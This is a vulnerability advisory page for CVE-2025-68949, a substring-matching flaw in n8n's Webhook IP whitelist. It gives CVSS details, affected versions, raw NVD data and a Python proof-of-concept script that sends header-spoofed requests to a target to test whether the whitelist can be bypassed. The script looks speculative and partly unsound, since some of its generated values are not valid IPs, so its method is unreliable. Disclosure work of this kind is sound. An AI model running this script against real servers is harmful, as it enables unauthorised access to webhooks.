Security Vulnerability Report
中文
CVE-2025-68949 CVSS 5.3 MEDIUM

CVE-2025-68949

Published: 2026-01-13 19:16:16
Last Modified: 2026-01-16 18:47:32

Description

n8n is an open source workflow automation platform. From 1.36.0 to before 2.2.0, the Webhook node’s IP whitelist validation performed partial string matching instead of exact IP comparison. As a result, an incoming request could be accepted if the source IP address merely contained the configured whitelist entry as a substring. This issue affected instances where workflow editors relied on IP-based access controls to restrict webhook access. Both IPv4 and IPv6 addresses were impacted. An attacker with a non-whitelisted IP could bypass restrictions if their IP shared a partial prefix with a trusted address, undermining the intended security boundary. This vulnerability is fixed in 2.2.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
n8n 1.36.0 至 2.2.0 之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import ipaddress # CVE-2025-68949 PoC - IP Whitelist Bypass in n8n Webhook Node # This PoC demonstrates bypassing IP whitelist using substring matching vulnerability TARGET_URL = "https://<target-server>/webhook/<webhook-id>" WHITELIST_IP = "192.168.1.1" # Assume this IP is whitelisted def generate_bypass_ips(whitelisted_ip): """ Generate IPs that could bypass whitelist due to substring matching The vulnerable code checks: whitelist.some(entry => requestIP.includes(entry)) """ bypass_ips = [] # Method 1: Append numbers to whitelisted IP base_ip = whitelisted_ip.split('.') for i in range(2, 20): test_ip = f"{base_ip[0]}.{base_ip[1]}.{base_ip[2]}.{i}" if whitelisted_ip in test_ip: bypass_ips.append(test_ip) # Method 2: Use IPv6 representation containing IPv4 as substring try: ipv4_obj = ipaddress.IPv4Address(whitelisted_ip) ipv6_mapped = f"::ffff:{whitelisted_ip}" bypass_ips.append(ipv6_mapped) except: pass # Method 3: Add extra octets extended_ip = f"{whitelisted_ip}.1" bypass_ips.append(extended_ip) return bypass_ips def test_bypass(): print(f"[*] Target: {TARGET_URL}") print(f"[*] Whitelisted IP: {WHITELIST_IP}") print(f"[*] Generating bypass IPs...") bypass_ips = generate_bypass_ips(WHITELIST_IP) for test_ip in bypass_ips: print(f"\n[~] Testing IP: {test_ip}") try: headers = { 'X-Forwarded-For': test_ip, 'X-Real-IP': test_ip, 'Client-IP': test_ip } response = requests.get(TARGET_URL, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # If we get a different response than blocked, we may have bypassed if response.status_code != 403 and 'blocked' not in response.text.lower(): print(f"[!] POTENTIAL BYPASS with IP: {test_ip}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": test_bypass() print("\n[*] Note: This PoC demonstrates the vulnerability concept.") print("[*] Actual exploitation depends on specific n8n configuration.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68949", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:15.637", "lastModified": "2026-01-16T18:47:32.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. From 1.36.0 to before 2.2.0, the Webhook node’s IP whitelist validation performed partial string matching instead of exact IP comparison. As a result, an incoming request could be accepted if the source IP address merely contained the configured whitelist entry as a substring. This issue affected instances where workflow editors relied on IP-based access controls to restrict webhook access. Both IPv4 and IPv6 addresses were impacted. An attacker with a non-whitelisted IP could bypass restrictions if their IP shared a partial prefix with a trusted address, undermining the intended security boundary. This vulnerability is fixed in 2.2.0."}, {"lang": "es", "value": "n8n es una plataforma de automatización de flujos de trabajo de código abierto. Desde la 1.36.0 hasta antes de la 2.2.0, la validación de la lista blanca de IP del nodo Webhook realizaba una coincidencia parcial de cadenas en lugar de una comparación exacta de IP. Como resultado, una solicitud entrante podía ser aceptada si la dirección IP de origen simplemente contenía la entrada de la lista blanca configurada como una subcadena. Este problema afectaba a las instancias donde los editores de flujos de trabajo dependían de controles de acceso basados en IP para restringir el acceso a los webhooks. Tanto las direcciones IPv4 como IPv6 se vieron afectadas. Un atacante con una IP no incluida en la lista blanca podía eludir las restricciones si su IP compartía un prefijo parcial con una dirección de confianza, socavando el límite de seguridad previsto. Esta vulnerabilidad está corregida en la 2.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-134"}, {"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.36.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "AF354F3D-63FB-47F4-ACD8-CA74540DBD80"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/commit/11f8597d4ad69ea3b58941573997fdbc4de1fec5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/n8n-io/n8n/issues/23399", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/n8n-io/n8n/pull/23399", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-w96v-gf22-crwp", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}